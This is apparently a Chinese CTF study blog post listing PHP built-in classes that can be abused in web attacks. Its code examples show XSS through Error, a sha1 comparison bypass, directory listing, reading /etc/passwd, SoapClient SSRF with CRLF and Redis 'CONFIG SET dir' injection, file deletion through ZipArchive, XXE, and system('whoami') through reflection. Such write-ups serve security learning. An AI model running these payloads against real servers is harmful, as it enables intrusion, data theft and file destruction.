前言
对于原生类的接触主要是在ctfshow菜鸟杯上的一道题,师傅用原生类两步就秒了,我还在来回折腾。所以记录一下在网上看到的可利用的原生类。
原生类,顾名思义就是自带的类,不需要事前进行class定义。
在ISCC2022web题有个就是典型的原生类利用
其中new的类和向类中传递的参数都可以自定义,就随便用原生类
原生类
Error/Exception
XSS
这两个类中都内置了__toString()方法
<?php
$a = new Error("test");
echo $a;
当执行时,会输出该“test”
而这个test是直接拼接到网页中的,那就有xss攻击:
$a = new Error("<script>alert('xss')</script>");
echo $a;
此时,会把<script>alert('xss')</script>
直接拼接到html中,造成xss攻击
确实是当成脚本解析了
绕过哈希比较
<?php
$a = new Error("payload",1);
echo $a;
在使用类中的__toString()方法时,向Error中传入的1并不会显示,这说明在字符串操作时候,只要传入的“payload”相同,即视为该字符串相同。
但不同的两个类本质上是不一样的。这样说可能有点绕,来看代码
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a . $b;
注意,把$a和$b放在同一行定义才能保证echo出来的内容一致。
Error: payload in /home/kali/index.php:2 Stack trace: #0 {main}Error: payload in /home/kali/index.php:2 Stack trace: #0 {main}
可见,两者的字符串是完全一致的,但是进行var_dump比对时,两者的值却不相同。
这就让我想起来之前学长布置过的一个rce:
if((string)$_POST['a'] != (string)$_POST['b'] && sha1($_POST['a']) === sha1($_POST['b']))
很不巧,这里是用post方法接收值,而且进行了string转换,而转换之后的值就一样了,所以没法用这个方法解,学长给出来的wp是用读取恶意构造的pdf文件以绕过。
但是如果换个题,把应用场景换在类中比较:
if($this->a != $this->b && sha1($this->a) === sha1($this->b))
此时就可以用原生类绕过了
$this->a = new Error("payload",1);$this->b = new Error("payload",2);
Directorylterator/Filesystemlterator
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
传入/?whoami=glob:///*
即可查看根目录下的所有文件
如果不用foreach就只能查看第一个
Filesystemlterator和DirectoryIterator的不同是:Filesystemlterator返回的是以绝对路径显示,而DirectoryIterator仅显示当前目录下
Globlterator
这个类与前两个类似,不过这个查找文件时不需要搭配glob://
伪协议使用,直接传入路径即可
<?php
$dir = "/*";
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
SplFileObject
可以利用该类读取文件的一行
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;
但是也只能读一行,如果要全部读取要加foreach遍历
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
SoapClient
SoapClient类中内置了一个__call方法,触发该方法之后可以发送http和https请求。这个也可以被运用在ssrf中。
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
则可以构造:
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.255.129:1234/aaa', 'uri'=>'http://192.168.255.129:1234'));
$a->a();
?>
在192.168.255.129上给一个1234的监听,可以接收到:
POST /aaa HTTP/1.1
Host: 192.168.255.129:1234
Connection: Keep-Alive
User-Agent: PHP-SOAP/8.2.0
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://192.168.255.129:1234#a"
Content-Length: 388
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.255.129:1234" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
如果HTTP头存在CRLF漏洞,就可以通过SSRF+CRLF插入任意HTTP头。
payload:
<?php
$target = 'http://192.168.255.129:1234';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=test", 'uri' => 'test'));
$a->a();
?>
成功插入cookie:
POST / HTTP/1.1
Host: 192.168.255.129:1234
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=test
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
同理,还可以插入Redis命令:
<?php
$target = 'http://192.168.255.129:1234';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCONFIG SET dir /var/www/html", 'uri' => 'test'));
$a->a();
?>
也可以发送POST数据包,但是要设置Content-Type
为application/x-www-form-urlencoded
。
由于Content-Type
的位置在UA底下,就可以通过类中的UA插入Content-Type
,把原来的挤到底下作为POST内容
抄的一份payload:
<?php
$target = 'http://192.168.255.129:1234';
$poc = "CONFIG SET dir /var/www/html";
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=Cookie'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"UA\n\rContent-Type: application/x-www-form-urlencoded\n\r".join("\n\r",$headers)."\n\rContent-Length: ". (string)strlen($post_data)."\n\r\n\r".$post_data,'uri'=>'test'));
$a->a();
?>
返回的结果:
成功传入了POST内容。
ZipArchive
类下有个open方法,可以打开一个新的或现有的zip文档进行读取.
ZipArchive::open ( string $filename [, int $flags ] ) : mixed
flags可以指定开打的模式:
ZipArchive::OVERWRITE
:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。ZipArchive::CREATE
:如果不存在则创建一个zip压缩包。ZipArchive::RDONLY
:只读模式打开压缩包。ZipArchive::EXCL
:如果压缩包已经存在,则出错。ZipArchive::CHECKCONS
:对压缩包执行额外的一致性检查,如果失败则显示错误。
如果指定flags为ZipArchive::OVERWRITE
,就可以把指定文件删除。
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
由于没有保存,所以最后的效果就是把1.txt删除
SimpleXMLElement
这个类用于解析XML文档中的元素。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct
的定义如下:
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
$data
:格式正确的XML字符串,或者XML文档的路径或URL(如果$data_is_url
为true)。
$data_is_url
:默认情况下$data_is_url
为false。使用true指定$data
的路径或URL到一个XML文件,而不是字符串数据。
可以看到通过设置第三个参数 $data_is_url
为 true
,我们可以实现远程xml文件的载入。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
当可以控制目标的调用的类的时候,就可以通过这个类进行XXE攻击。
攻击的手法:
一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)
Reflection
ReflectionMethod
该类中有个getDocComment()
方法,可以获得类中函数的注释内容。
<?php
include('flag.php');
highlight_file(__FILE__);
$a = new ReflectionMethod('F','get');
?>
输出
ReflectionClass
能显示出类中的属性和方法:
<?php
highlight_file(__FILE__);
class F{
protected $pro;
private $pri;
protected function get(){
echo 'pro';
}
}
$ref = new ReflectionClass('F');
echo $ref;
?>
ReflectionFunction
<?php
$a = "system";
$b = "whoami";
$func = new ReflectionFunction($a);
echo $func->invokeArgs(array($b));
?>
动态调用
学习中看到别人的博客经常提到“动态调用”,因此去了解了一下。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
当给一个函数名赋值给一个变量时,可以通过调用这个变量来调用这个函数。
浅显一点的有:
<?php
$a = "system";
$b = "whoami";
($a)($b);
?>
这样相当于直接执行了system(whoami)
命令。
复杂调用有:
<?php
class F{
public function sys($exec){
system($exec);
}
}
$n = new F();
$a = array($n,"sys");
$b = "whoami";
$a($b);
?>
其中通过数组来调用F类中的sys函数,并把whoami
赋值给$b,传到了F类中的sys函数。
参考
CTF 中 PHP原生类的利用 – JohnFrod’s Blog